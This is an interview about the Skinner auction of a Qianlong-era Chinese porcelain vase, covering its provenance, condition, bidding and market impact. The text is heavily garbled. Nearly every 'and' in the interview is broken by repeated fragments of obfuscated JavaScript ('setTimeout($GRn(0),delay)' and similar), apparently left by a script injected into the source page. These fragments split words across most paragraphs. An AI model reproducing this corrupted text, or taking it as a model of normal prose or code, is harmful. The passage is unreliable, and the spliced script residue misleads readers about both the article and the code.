By: Laura Beach

Harvard-trained expert Judith Dowling brings past experience as a specialist dealer to her role as director of Asian works of art at Skinner, Inc, in Boston. On September 17, she presided over Skinner’s record-breaking sale of an Eighteenth Century Chinese Fencai porcelain vase for $24,723,000.

Who consigned the vase?

 I can’t say more than that it came from New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. I can tell you that it was last seen publicly in 1964 at Parke-Bernet Galleries in New York, where it was in a sale of Asian things belonging to Ton-Ying & Company. The family was famous in China andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and very wealthy. They supported the Nationalist government. They dealt in Asian art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, like the dealer C.T. Loo, came from China to Paris to New York, where they sold to Rockefeller, Freer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other great collectors.

 When did you first see the vase andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and what was your initial response?

  I saw it earlier this year andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and was thrilled. We knew we had something exceptional, that our vase was nearly identical to one in the collection of the National Palace Museum in Beijing. The only difference is in the painting of a couple of the panels. We also knew that our vase was very rare.

Where did bidding interest come from?

 Interest came from all over. The story was picked up by media all over the world andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and even made it to the electronic billboard in Times Square in Manhattan, which I loved. In China, the vase was huge news. There was a lot of guessing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and thinking about what this piece was, which is very wonderful.

Did the emperor himself order the vase?

  The vase was fired at the Jingdezhen kilns under the direction of superintendent Tang Ying (1682–1750). There is no documentation that the Qianlong emperor ordered the vase to be made, but that is the assumption. The two vases are the same size andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and are decorated in the same way. Were they made by the same handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and? We can only guess, but the marks are identical.

Why are these vases masterpieces?

 The Chinese call the National Palace vase the gezhong youcai daping, or “mother of all ceramics.” These two vases are the only known examples of their kind. Technically, they are extraordinary works of art. They are samplers. That is, different techniques were used in their overall decoration. The enamel painting is exquisitely done andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the people who worked on them must have been among the finest artisans at the imperial kiln. Also, these vases are huge — 34 inches tall. Just firing something like this in an ancient, wood-fired kiln would be very difficult. Beyond that, it is remarkable that they survived. For all we know, more vases may have been made but, of course, there is no evidence. That is one reason why this discovery is so exciting.

Condition?

 Our vase did have some damage, which was present in 1964. Fortunately, it was repaired with animal glue andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and will be very easy to restore.

Where is the vase going?

 There are assumptions andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and guestimates but it remains to be seen. I can say that the vase is going back to China. We hope that down the road it will be studied andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and scholars will learn more about it.

This sale’s impact on the market?

 When you have huge demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and limited supply, prices are going to be high. Not everyone can afford a Qianlong vase, so a sale like this tends to lift other categories of Chinese art. Over the last two decades, we have seen a great rise in wealth in China accompanied by the growing sophistication of buyers. We are in a good position here at Skinner to get more exceptional material. Our two-day Asian art sale in November, for instance, features 130 prints by Kawase Hasui (1883–1957) from the collection of Irwin Pachter.

Q & A profiles newsmakers in the fields of arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antiques, architecture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and design. In this inaugural column, Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Arts Weekly speaks to Judith Dowling, whose demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding role requires her sophisticated understandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding of material in all media, made over more than seven millennia, from the diverse cultures of China, Japan, Korea, Tibet andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and India. Dowling is assisted by Suhyung Kim, who came to Skinner Inc from Boston’s Museum of Fine Arts, where she continues as a research associate. Skinner’s next auction of Asian works of art is planned for November 22 at 63 Park Plaza in Boston.